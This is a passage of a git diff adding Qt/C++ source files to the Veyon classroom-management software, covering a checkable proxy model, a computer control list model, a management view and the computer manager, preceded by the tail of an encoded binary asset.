zT!FN&udk1fkDs3(kO2h8Err9Vb4%^ zc*%IQU!m6FFGKBtUImT?c?=8%N*rt}#2FaRa5OQ!VrgJdZhFvgi_u_#q@x>yDRYB^ za#IiEeZdNz6Y&haj2|~BB{<}rVd`brxK%)cy{K4Ki0{a^{>DHB>HTg_jTyNdJ&ZT+ zOypo*v{%!JDJ4Bzjiuw>!2`7lyVZriHolPWyTknH)yID~{!cX9@I`22{H}jO52|>d zCN^X#^wqPPF*h*GWW3;*qRqfHL6l*hn;Fvq21!P~A5N3<8QbzrUWz6B37Ym=P=bAh zTw`Z<=DKAGObfEO()6BN>fd|U&d&7)7@Y54bI!RO?3|KTCJBro22WQ%mvv4FO#o}( B+z0>w literal 0 HcmV?d00001 diff --git a/master/src/CheckableItemProxyModel.cpp b/master/src/CheckableItemProxyModel.cpp new file mode 100644 index 0000000..02ba313 --- /dev/null +++ b/master/src/CheckableItemProxyModel.cpp @@ -0,0 +1,194 @@ +/* + * CheckableItemProxyModel.cpp - proxy model for overlaying checked property + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "CheckableItemProxyModel.h" + +CheckableItemProxyModel::CheckableItemProxyModel( int uidRole, QObject *parent ) : + QIdentityProxyModel(parent), + m_uidRole( uidRole ), + m_callDepth( 0 ) +{ + connect( this, &QIdentityProxyModel::rowsInserted, + this, &CheckableItemProxyModel::updateNewRows ); + connect( this, &QIdentityProxyModel::rowsAboutToBeRemoved, + this, &CheckableItemProxyModel::removeRowStates ); +} + + + +Qt::ItemFlags CheckableItemProxyModel::flags(const QModelIndex &index) const +{ + if( index.isValid() == false || index.column() > 0 ) + { + return QIdentityProxyModel::flags( index ); + } + + return QIdentityProxyModel::flags( index ) | Qt::ItemIsUserCheckable; +} + + + +QVariant CheckableItemProxyModel::data(const QModelIndex &index, int role) const +{ + if( !index.isValid() ) + { + return QVariant(); + } + + if( role == Qt::CheckStateRole && index.column() == 0 ) + { + return m_checkStates.value( QIdentityProxyModel::data( index, m_uidRole ).toUuid() ); + } + + return QIdentityProxyModel::data(index, role); +} + + + +bool CheckableItemProxyModel::setData(const QModelIndex &index, const QVariant &value, int role) +{ + if( role != Qt::CheckStateRole || index.column() > 0 ) + { + return QIdentityProxyModel::setData( index, value, role ); + } + + if( m_callDepth > 1 ) + { + return false; + } + + ++m_callDepth; + + const auto checkState = checkStateFromVariant( value ); + + m_checkStates[QIdentityProxyModel::data( index, m_uidRole ).toUuid()] = checkState; + + const auto parentIndex = index.parent(); + + int childrenCount = rowCount( index ); + + if( childrenCount > 0 ) + { + for( int i = 0; i < childrenCount; ++i ) + { + setData( this->index( i, 0, index ), value, role ); + } + + emit dataChanged( this->index( 0, 0, parentIndex ), this->index( childrenCount-1, 0, parentIndex ), { role } ); + } + else if( parentIndex.isValid() ) + { + childrenCount = rowCount( parentIndex ); + + Qt::CheckState parentCheckState = checkState; + + for( int i = 0; i < childrenCount; ++i ) + { + if( checkStateFromVariant( data( this->index( i, 0, parentIndex ), role ) ) != parentCheckState ) + { + parentCheckState = Qt::PartiallyChecked; + break; + } + } + + if( checkStateFromVariant( data( parentIndex, Qt::CheckStateRole ) ) != parentCheckState ) + { + setData( parentIndex, parentCheckState, role ); + if( m_callDepth == 0 ) + { + emit dataChanged( parentIndex, parentIndex, { role } ); + } + } + + emit dataChanged( index, index, { role } ); + } + + --m_callDepth; + + return true; +} + + + +void CheckableItemProxyModel::updateNewRows(const QModelIndex &parent, int first, int last) +{ + // also set newly inserted items checked if parent is checked + if( parent.isValid() && checkStateFromVariant( data( parent, Qt::CheckStateRole ) ) == Qt::Checked ) + { + for( int i = first; i <= last; ++i ) + { + setData( index( i, 0, parent ), Qt::Checked, Qt::CheckStateRole ); + } + } +} + + + +void CheckableItemProxyModel::removeRowStates(const QModelIndex &parent, int first, int last) +{ + for( int i = first; i <= last; ++i ) + { + m_checkStates.remove( QIdentityProxyModel::data( index( i, 0, parent ), m_uidRole ).toUuid() ); + } +} + + + +QJsonArray CheckableItemProxyModel::saveStates() +{ + QJsonArray data; + + for( auto it = m_checkStates.constBegin(), end = m_checkStates.constEnd(); it != end; ++it ) + { + if( it.value() == Qt::Checked ) + { + data += it.key().toString(); + } + } + + return data; +} + + + +void CheckableItemProxyModel::loadStates( const QJsonArray& data ) +{ + beginResetModel(); + + m_checkStates.clear(); + + for( const auto& item : data ) + { + const QUuid uid = QUuid( item.toString() ); + const auto indexList = match( index( 0, 0 ), m_uidRole, uid, 1, + Qt::MatchExactly | Qt::MatchRecursive ); + if( indexList.isEmpty() == false && + hasChildren( indexList.first() ) == false ) + { + setData( indexList.first(), Qt::Checked, Qt::CheckStateRole ); + } + } + + endResetModel(); +} diff --git a/master/src/CheckableItemProxyModel.h b/master/src/CheckableItemProxyModel.h new file mode 100644 index 0000000..904bcd6 --- /dev/null +++ b/master/src/CheckableItemProxyModel.h @@ -0,0 +1,68 @@ +/* + * CheckableItemProxyModel.h - proxy model for overlaying checked property + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef CHECKABLE_ITEM_PROXY_MODEL_H +#define CHECKABLE_ITEM_PROXY_MODEL_H + +#include +#include +#include + +class CheckableItemProxyModel : public QIdentityProxyModel +{ + Q_OBJECT +public: + CheckableItemProxyModel( int uidRole, QObject *parent = nullptr ); + + Qt::ItemFlags flags(const QModelIndex &index) const override; + + QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const override; + + bool setData(const QModelIndex &index, const QVariant &value, int role) override; + + void updateNewRows(const QModelIndex &parent, int first, int last); + void removeRowStates(const QModelIndex &parent, int first, int last); + + QJsonArray saveStates(); + void loadStates( const QJsonArray& data ); + +private: + Qt::CheckState checkStateFromVariant( const QVariant& data ) + { +#if QT_VERSION < 0x050600 +#warning Building legacy compat code for unsupported version of Qt + // work around broken conversion for Q_ENUMs in QVariant of Qt 5.5 + return static_cast( data.toInt() ); +#else + return data.value(); +#endif + } + + int m_uidRole; + QHash m_checkStates; + int m_callDepth; + +}; + +#endif // CHECKABLE_ITEM_PROXY_MODEL_H diff --git a/master/src/ComputerControlListModel.cpp b/master/src/ComputerControlListModel.cpp new file mode 100644 index 0000000..80a677f --- /dev/null +++ b/master/src/ComputerControlListModel.cpp @@ -0,0 +1,478 @@ +/* + * ComputerControlListModel.cpp - data model for computer control objects + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "ComputerControlListModel.h" +#include "ComputerManager.h" +#include "FeatureManager.h" +#include "VeyonMaster.h" +#include "UserConfig.h" +#include "VeyonConfiguration.h" + + +ComputerControlListModel::ComputerControlListModel( VeyonMaster* masterCore, QObject* parent ) : + QAbstractListModel( parent ), + m_master( masterCore ), + m_displayRoleContent( static_cast( VeyonCore::config().computerDisplayRoleContent() ) ), + m_iconDefault(), + m_iconConnectionProblem(), + m_iconDemoMode() +{ + loadIcons(); + + connect( &m_master->computerManager(), &ComputerManager::computerSelectionReset, + this, &ComputerControlListModel::reload ); + connect( &m_master->computerManager(), &ComputerManager::computerSelectionChanged, + this, &ComputerControlListModel::update ); + + auto computerScreenUpdateTimer = new QTimer( this ); + connect( computerScreenUpdateTimer, &QTimer::timeout, this, &ComputerControlListModel::updateComputerScreens ); + computerScreenUpdateTimer->start( VeyonCore::config().computerMonitoringUpdateInterval() ); + + reload(); +} + + + +int ComputerControlListModel::rowCount( const QModelIndex& parent ) const +{ + if( parent.isValid() ) + { + return 0; + } + + return m_computerControlInterfaces.count(); +} + + + +QVariant ComputerControlListModel::data( const QModelIndex& index, int role ) const +{ + if( index.isValid() == false ) + { + return QVariant(); + } + + if( index.row() >= m_computerControlInterfaces.count() ) + { + qCritical( "ComputerListModel::data(): index out of range!" ); + } + + const auto computerControl = m_computerControlInterfaces[index.row()]; + + switch( role ) + { + case Qt::DecorationRole: + return computerDecorationRole( computerControl ); + + case Qt::ToolTipRole: + return computerToolTipRole( computerControl ); + + case Qt::DisplayRole: + return computerDisplayRole( computerControl ); + + case Qt::InitialSortOrderRole: + return computerControl->computer().room() + computerControl->computer().name() + + computerControl->computer().hostAddress() + computerControl->user(); + + case UidRole: + return computerControl->computer().networkObjectUid(); + + case StateRole: + return computerControl->state(); + + default: + break; + } + + return QVariant(); +} + + + +void ComputerControlListModel::updateComputerScreenSize() +{ + const auto size = computerScreenSize(); + + for( auto& controlInterface : m_computerControlInterfaces ) + { + controlInterface->setScaledScreenSize( size ); + } +} + + + +ComputerControlInterface::Pointer ComputerControlListModel::computerControlInterface( const QModelIndex& index ) const +{ + if( index.isValid() == false || index.row() >= m_computerControlInterfaces.count() ) + { + qCritical( "ComputerListModel::computerControlInterface(): invalid ComputerControlInterface requested!" ); + return ComputerControlInterface::Pointer(); + } + + return m_computerControlInterfaces[index.row()]; +} + + + +void ComputerControlListModel::reload() +{ + beginResetModel(); + + const auto computerList = m_master->computerManager().selectedComputers( QModelIndex() ); + + m_computerControlInterfaces.clear(); + m_computerControlInterfaces.reserve( computerList.size() ); + + int row = 0; + + for( const auto& computer : computerList ) + { + const auto controlInterface = ComputerControlInterface::Pointer::create( computer ); + m_computerControlInterfaces.append( controlInterface ); + startComputerControlInterface( controlInterface, index( row ) ); + ++row; + } + + endResetModel(); +} + + + +void ComputerControlListModel::update() +{ + const auto newComputerList = m_master->computerManager().selectedComputers( QModelIndex() ); + + int row = 0; + + for( auto it = m_computerControlInterfaces.begin(); it != m_computerControlInterfaces.end(); ) // clazy:exclude=detaching-member + { + if( newComputerList.contains( (*it)->computer() ) == false ) + { + stopComputerControlInterface( *it ); + + beginRemoveRows( QModelIndex(), row, row ); + it = m_computerControlInterfaces.erase( it ); + endRemoveRows(); + } + else + { + ++it; + ++row; + } + } + + row = 0; + + for( const auto& computer : newComputerList ) + { + if( row < m_computerControlInterfaces.count() && m_computerControlInterfaces[row]->computer() != computer ) + { + beginInsertRows( QModelIndex(), row, row ); + const auto controlInterface = ComputerControlInterface::Pointer::create( computer ); + m_computerControlInterfaces.insert( row, controlInterface ); + startComputerControlInterface( controlInterface, index( row ) ); + endInsertRows(); + } + else if( row >= m_computerControlInterfaces.count() ) + { + beginInsertRows( QModelIndex(), row, row ); + const auto controlInterface = ComputerControlInterface::Pointer::create( computer ); + m_computerControlInterfaces.append( controlInterface ); + startComputerControlInterface( controlInterface, index( row ) ); // clazy:exclude=detaching-member + endInsertRows(); + } + + ++row; + } +} + + + +void ComputerControlListModel::updateComputerScreens() +{ + int computerIndex = 0; + + for( auto& controlInterface : m_computerControlInterfaces ) + { + if( controlInterface->hasScreenUpdates() ) + { + controlInterface->clearScreenUpdateFlag(); + + emit dataChanged( index( computerIndex, 0 ), + index( computerIndex, 0 ), + QVector( { Qt::DisplayRole, Qt::DecorationRole, Qt::ToolTipRole } ) ); + } + + ++computerIndex; + } +} + + + +void ComputerControlListModel::startComputerControlInterface( const ComputerControlInterface::Pointer& controlInterface, + const QModelIndex& index ) +{ + controlInterface->start( computerScreenSize(), &m_master->builtinFeatures() ); + + connect( controlInterface.data(), &ComputerControlInterface::featureMessageReceived, this, + [=]( const FeatureMessage& featureMessage, ComputerControlInterface::Pointer computerControlInterface ) { + m_master->featureManager().handleFeatureMessage( *m_master, featureMessage, computerControlInterface ); + } ); + + connect( controlInterface.data(), &ComputerControlInterface::activeFeaturesChanged, + this, [=] () { emit activeFeaturesChanged( index ); } ); + + // pass weak pointer to lambda function as otherwise the original shared pointer + // gets referenced once more all the time and thus the object never gets deleted + auto controlInterfaceWeakRef = controlInterface->weakPointer(); + connect( controlInterface.data(), &ComputerControlInterface::userChanged, + &m_master->computerManager(), + [=] () { m_master->computerManager().updateUser( controlInterfaceWeakRef ); } ); +} + + + +void ComputerControlListModel::stopComputerControlInterface( const ComputerControlInterface::Pointer& controlInterface ) +{ + m_master->stopAllModeFeatures( { controlInterface } ); + + controlInterface->disconnect( &m_master->computerManager() ); + + controlInterface->setUser( QString() ); + m_master->computerManager().updateUser( controlInterface ); +} + + + +QSize ComputerControlListModel::computerScreenSize() const +{ + return QSize( m_master->userConfig().monitoringScreenSize(), + m_master->userConfig().monitoringScreenSize() * 9 / 16 ); +} + + + +void ComputerControlListModel::loadIcons() +{ + m_iconDefault = prepareIcon( QImage( QStringLiteral(":/resources/preferences-desktop-display-gray.png") ) ); + m_iconConnectionProblem = prepareIcon( QImage( QStringLiteral(":/resources/preferences-desktop-display-red.png") ) ); + m_iconDemoMode = prepareIcon( QImage( QStringLiteral(":/resources/preferences-desktop-display-orange.png") ) ); +} + + + +QImage ComputerControlListModel::prepareIcon(const QImage &icon) +{ + QImage wideIcon( icon.width() * 16 / 9, icon.height(), QImage::Format_ARGB32 ); + wideIcon.fill( Qt::transparent ); + QPainter p( &wideIcon ); + p.drawImage( ( wideIcon.width() - icon.width() ) / 2, 0, icon ); + return wideIcon; +} + + + +QImage ComputerControlListModel::computerDecorationRole( const ComputerControlInterface::Pointer& controlInterface ) const +{ + QImage image; + + switch( controlInterface->state() ) + { + case ComputerControlInterface::Connected: + image = controlInterface->scaledScreen(); + if( image.isNull() == false ) + { + return image; + } + + image = m_iconDefault; + break; + + case ComputerControlInterface::AuthenticationFailed: + case ComputerControlInterface::ServiceUnreachable: + image = m_iconConnectionProblem; + break; + + default: + image = m_iconDefault; + break; + } + + return image.scaled( controlInterface->scaledScreenSize(), Qt::KeepAspectRatio ); +} + + + +QString ComputerControlListModel::computerToolTipRole( const ComputerControlInterface::Pointer& controlInterface ) const +{ + const QString state( computerStateDescription( controlInterface ) ); + const QString room( tr( "Room: %1" ).arg( controlInterface->computer().room() ) ); + const QString host( tr( "Host/IP address: %1" ).arg( controlInterface->computer().hostAddress() ) ); + const QString user( loggedOnUserInformation( controlInterface ) ); + const QString features( tr( "Active features: %1" ).arg( activeFeatures( controlInterface ) ) ); + + if( user.isEmpty() ) + { + return QStringLiteral( "%1
%2
%3
%4" ).arg( state, room, host, features ); + } + + return QStringLiteral( "%1
%2
%3
%4
%5" ).arg( state, room, host, features, user); +} + + + +QString ComputerControlListModel::computerDisplayRole( const ComputerControlInterface::Pointer& controlInterface ) const +{ + if( m_displayRoleContent != DisplayComputerName && + controlInterface->state() == ComputerControlInterface::Connected && + controlInterface->user().isEmpty() == false ) + { + auto user = controlInterface->user(); + + // do we have full name information? + QRegExp fullNameRX( QStringLiteral("(.*) \\((.*)\\)") ); + if( fullNameRX.indexIn( user ) >= 0 ) + { + if( fullNameRX.cap( 2 ).isEmpty() == false ) + { + user = fullNameRX.cap( 2 ); + } + else + { + user = fullNameRX.cap( 1 ); + } + } + + if( m_displayRoleContent == DisplayUserName ) + { + return user; + } + else + { + return QStringLiteral("%1 - %2").arg( user, controlInterface->computer().name() ); + } + } + + if( m_displayRoleContent != DisplayUserName ) + { + return controlInterface->computer().name(); + } + + return QString(); +} + + + +QString ComputerControlListModel::computerStateDescription( const ComputerControlInterface::Pointer& controlInterface ) +{ + switch( controlInterface->state() ) + { + case ComputerControlInterface::Connected: + return tr( "Online and connected" ); + + case ComputerControlInterface::Connecting: + return tr( "Establishing connection" ); + + case ComputerControlInterface::Offline: + return tr( "Computer offline or switched off" ); + + case ComputerControlInterface::ServiceUnreachable: + return tr( "Service unreachable or not running" ); + + case ComputerControlInterface::AuthenticationFailed: + return tr( "Authentication failed or access denied" ); + + default: + break; + } + + return tr( "Disconnected" ); +} + + + +QString ComputerControlListModel::loggedOnUserInformation( const ComputerControlInterface::Pointer& controlInterface ) +{ + if( controlInterface->state() == ComputerControlInterface::Connected ) + { + if( controlInterface->user().isEmpty() ) + { + return tr( "No user logged on" ); + } + + return tr( "Logged on user: %1" ).arg( controlInterface->user() ); + } + + return QString(); +} + + + +QString ComputerControlListModel::activeFeatures( const ComputerControlInterface::Pointer& controlInterface ) const +{ + QStringList featureNames; + + for( const auto& feature : m_master->features() ) + { + if( controlInterface->activeFeatures().contains( feature.uid().toString() ) ) + { + featureNames.append( feature.displayName() ); + } + } + + featureNames.removeAll( QString() ); + + return featureNames.join( QStringLiteral(", ") ); +} + + + +Qt::ItemFlags ComputerControlListModel::flags( const QModelIndex& index ) const +{ + auto defaultFlags = QAbstractListModel::flags( index ); + + if( index.isValid() ) + { + return Qt::ItemIsDragEnabled | defaultFlags; + } + + return Qt::ItemIsDropEnabled | defaultFlags; +} + + + +Qt::DropActions ComputerControlListModel::supportedDragActions() const +{ + return Qt::MoveAction; +} + + + +Qt::DropActions ComputerControlListModel::supportedDropActions() const +{ + return Qt::MoveAction; +} diff --git a/master/src/ComputerControlListModel.h b/master/src/ComputerControlListModel.h new file mode 100644 index 0000000..be34ebe --- /dev/null +++ b/master/src/ComputerControlListModel.h @@ -0,0 +1,110 @@ +/* + * ComputerControlListModel.h - data model for computer control objects + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef COMPUTER_CONTROL_LIST_MODEL_H +#define COMPUTER_CONTROL_LIST_MODEL_H + +#include +#include + +#include "ComputerControlInterface.h" + +class VeyonMaster; + +class ComputerControlListModel : public QAbstractListModel +{ + Q_OBJECT +public: + enum { + UidRole = Qt::UserRole, + StateRole + }; + + enum DisplayRoleContent { + DisplayUserAndComputerName, + DisplayUserName, + DisplayComputerName, + DisplayRoleContentCount + }; + + ComputerControlListModel( VeyonMaster* masterCore, QObject* parent = nullptr ); + + int rowCount( const QModelIndex& parent = QModelIndex() ) const override; + + QVariant data( const QModelIndex& index, int role = Qt::DisplayRole ) const override; + + void updateComputerScreenSize(); + + const ComputerControlInterfaceList& computerControlInterfaces() const + { + return m_computerControlInterfaces; + } + + ComputerControlInterface::Pointer computerControlInterface( const QModelIndex& index ) const; + + Qt::ItemFlags flags( const QModelIndex& index ) const override; + + Qt::DropActions supportedDragActions() const override; + Qt::DropActions supportedDropActions() const override; + + +public slots: + void reload(); + +signals: + void activeFeaturesChanged( QModelIndex ); + +private slots: + void update(); + + void updateComputerScreens(); + +private: + void startComputerControlInterface( const ComputerControlInterface::Pointer& controlInterface, const QModelIndex& index ); + void stopComputerControlInterface( const ComputerControlInterface::Pointer& controlInterface ); + + QSize computerScreenSize() const; + + void loadIcons(); + QImage prepareIcon( const QImage& icon ); + QImage computerDecorationRole( const ComputerControlInterface::Pointer& controlInterface ) const; + QString computerToolTipRole( const ComputerControlInterface::Pointer& controlInterface ) const; + QString computerDisplayRole( const ComputerControlInterface::Pointer& controlInterface ) const; + static QString computerStateDescription( const ComputerControlInterface::Pointer& controlInterface ); + static QString loggedOnUserInformation( const ComputerControlInterface::Pointer& controlInterface ); + QString activeFeatures( const ComputerControlInterface::Pointer& controlInterface ) const; + + VeyonMaster* m_master; + + DisplayRoleContent m_displayRoleContent; + + QImage m_iconDefault; + QImage m_iconConnectionProblem; + QImage m_iconDemoMode; + + ComputerControlInterfaceList m_computerControlInterfaces; + +}; + +#endif // COMPUTER_LIST_MODEL_H diff --git a/master/src/ComputerManagementView.cpp b/master/src/ComputerManagementView.cpp new file mode 100644 index 0000000..80fbf4b --- /dev/null +++ b/master/src/ComputerManagementView.cpp @@ -0,0 +1,179 @@ +/* + * ComputerManagementView.cpp - provides a view for a network object tree + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include + +#include "ComputerManagementView.h" +#include "ComputerManager.h" +#include "NetworkObjectModel.h" +#include "RecursiveFilterProxyModel.h" +#include "RoomSelectionDialog.h" +#include "VeyonConfiguration.h" + +#include "ui_ComputerManagementView.h" + + +ComputerManagementView::ComputerManagementView( ComputerManager& computerManager, QWidget *parent ) : + QWidget(parent), + ui(new Ui::ComputerManagementView), + m_computerManager( computerManager ), + m_filterProxyModel( new RecursiveFilterProxyModel( this ) ) +{ + m_filterProxyModel->setSourceModel( computerManager.computerTreeModel() ); + m_filterProxyModel->setFilterCaseSensitivity( Qt::CaseInsensitive ); + m_filterProxyModel->setFilterKeyColumn( -1 ); // filter all columns instead of first one only + + ui->setupUi(this); + + // capture keyboard events for tree view + ui->treeView->installEventFilter( this ); + + // set computer tree model as data model + ui->treeView->setModel( m_filterProxyModel ); + + // set default sort order + ui->treeView->sortByColumn( 0, Qt::AscendingOrder ); + + ui->addRoomButton->setVisible( VeyonCore::config().onlyCurrentRoomVisible() && + VeyonCore::config().manualRoomAdditionAllowed() ); + + ui->filterLineEdit->setHidden( VeyonCore::config().computerFilterHidden() ); + + connect( ui->filterLineEdit, &QLineEdit::textChanged, + this, &ComputerManagementView::updateFilter ); +} + + + +ComputerManagementView::~ComputerManagementView() +{ + delete ui; +} + + + +bool ComputerManagementView::eventFilter( QObject *watched, QEvent *event ) +{ + if( watched == ui->treeView && + event->type() == QEvent::KeyPress && + static_cast(event)->key() == Qt::Key_Delete ) + { + removeRoom(); + return true; + } + + return QWidget::eventFilter( watched, event ); +} + + + +void ComputerManagementView::addRoom() +{ + RoomSelectionDialog dialog( m_computerManager.networkObjectModel(), this ); + if( dialog.exec() && dialog.selectedRoom().isEmpty() == false ) + { + m_computerManager.addRoom( dialog.selectedRoom() ); + } +} + + + +void ComputerManagementView::removeRoom() +{ + auto model = m_computerManager.computerTreeModel(); + const auto index = ui->treeView->selectionModel()->currentIndex(); + +#if QT_VERSION < 0x050600 +#warning Building legacy compat code for unsupported version of Qt + if( index.isValid() && + static_cast( model->data( index, NetworkObjectModel::TypeRole ).toInt() ) == NetworkObject::Group ) +#else + if( index.isValid() && + model->data( index, NetworkObjectModel::TypeRole ).value() == NetworkObject::Group ) +#endif + { + m_computerManager.removeRoom( model->data( index, NetworkObjectModel::NameRole ).toString() ); + } +} + + + +void ComputerManagementView::saveList() +{ + QString fileName = QFileDialog::getSaveFileName( this, tr( "Select output filename" ), + QDir::homePath(), tr( "CSV files (*.csv)" ) ); + if( fileName.isEmpty() == false ) + { + if( m_computerManager.saveComputerAndUsersList( fileName ) == false ) + { + QMessageBox::critical( this, tr( "File error"), + tr( "Could not write the computer and users list to %1! " + "Please check the file access permissions." ).arg( fileName ) ); + } + } +} + + + +void ComputerManagementView::updateFilter() +{ + const auto filter = ui->filterLineEdit->text(); + auto model = ui->treeView->model(); + + if( filter.isEmpty() ) + { + m_filterProxyModel->setFilterWildcard( filter ); + + for( int i = 0; i < model->rowCount(); ++i ) + { + const auto index = model->index( i, 0 ); + ui->treeView->setExpanded( index, m_expandedGroups.contains( index ) ); + } + + m_previousFilter.clear(); + } + else + { + if( m_previousFilter.isEmpty() ) + { + m_expandedGroups.clear(); + + for( int i = 0; i < model->rowCount(); ++i ) + { + const auto index = model->index( i, 0 ); + if( ui->treeView->isExpanded( index ) ) + { + m_expandedGroups.append( index ); + } + } + } + + m_previousFilter = filter; + + m_filterProxyModel->setFilterWildcard( filter ); + ui->treeView->expandAll(); + } +} diff --git a/master/src/ComputerManagementView.h b/master/src/ComputerManagementView.h new file mode 100644 index 0000000..0e6b223 --- /dev/null +++ b/master/src/ComputerManagementView.h @@ -0,0 +1,62 @@ +/* + * ComputerManagementView.h - provides a view for a network object tree + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef COMPUTER_MANAGER_VIEW_H +#define COMPUTER_MANAGER_VIEW_H + +#include +#include + +namespace Ui { +class ComputerManagementView; +} + +class ComputerManager; +class RecursiveFilterProxyModel; + +class ComputerManagementView : public QWidget +{ + Q_OBJECT +public: + ComputerManagementView( ComputerManager& computerManager, QWidget *parent = nullptr ); + ~ComputerManagementView() override; + + bool eventFilter(QObject *watched, QEvent *event) override; + +private slots: + void addRoom(); + void removeRoom(); + void saveList(); + void updateFilter(); + +private: + Ui::ComputerManagementView *ui; + ComputerManager& m_computerManager; + RecursiveFilterProxyModel* m_filterProxyModel; + QString m_previousFilter; + QModelIndexList m_expandedGroups; + +}; + +#endif // COMPUTER_MANAGER_VIEW_H diff --git a/master/src/ComputerManager.cpp b/master/src/ComputerManager.cpp new file mode 100644 index 0000000..322f7fa --- /dev/null +++ b/master/src/ComputerManager.cpp @@ -0,0 +1,442 @@ +/* + * ComputerManager.cpp - maintains and provides a computer object list + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include +#include + +#include "ComputerManager.h" +#include "VeyonConfiguration.h" +#include "NetworkObject.h" +#include "NetworkObjectDirectory.h" +#include "NetworkObjectDirectoryManager.h" +#include "NetworkObjectFilterProxyModel.h" +#include "NetworkObjectOverlayDataModel.h" +#include "NetworkObjectTreeModel.h" +#include "UserConfig.h" +#include "UserSessionControl.h" + + +ComputerManager::ComputerManager( UserConfig& config, QObject* parent ) : + QObject( parent ), + m_config( config ), + m_networkObjectDirectory( VeyonCore::networkObjectDirectoryManager().configuredDirectory() ), + m_networkObjectModel( new NetworkObjectTreeModel( m_networkObjectDirectory, this ) ), + m_networkObjectOverlayDataModel( new NetworkObjectOverlayDataModel( 1, Qt::DisplayRole, tr( "User" ), this ) ), + m_computerTreeModel( new CheckableItemProxyModel( NetworkObjectModel::UidRole, this ) ), + m_networkObjectFilterProxyModel( new NetworkObjectFilterProxyModel( this ) ), + m_localHostNames( QHostInfo::localHostName().toLower() ), + m_localHostAddresses( QHostInfo::fromName( QHostInfo::localHostName() ).addresses() ) +{ + if( m_networkObjectDirectory == nullptr ) + { + QMessageBox::critical( nullptr, + tr( "Missing network object directory plugin" ), + tr( "No default network object directory plugin was found. " + "Please check your installation or configure a different " + "network object directory backend via %1 Configurator." ). + arg( VeyonCore::applicationName() ) ); + qFatal( "ComputerManager: missing network object directory plugin!" ); + } + + if( QHostInfo::localDomainName().isEmpty() == false ) + { + m_localHostNames.append( QHostInfo::localHostName().toLower() + + QStringLiteral( "." ) + + QHostInfo::localDomainName().toLower() ); + } + + initNetworkObjectLayer(); + initRooms(); + initComputerTreeModel(); +} + + + +ComputerManager::~ComputerManager() +{ + m_config.setCheckedNetworkObjects( m_computerTreeModel->saveStates() ); +} + + + +void ComputerManager::addRoom( const QString& room ) +{ + 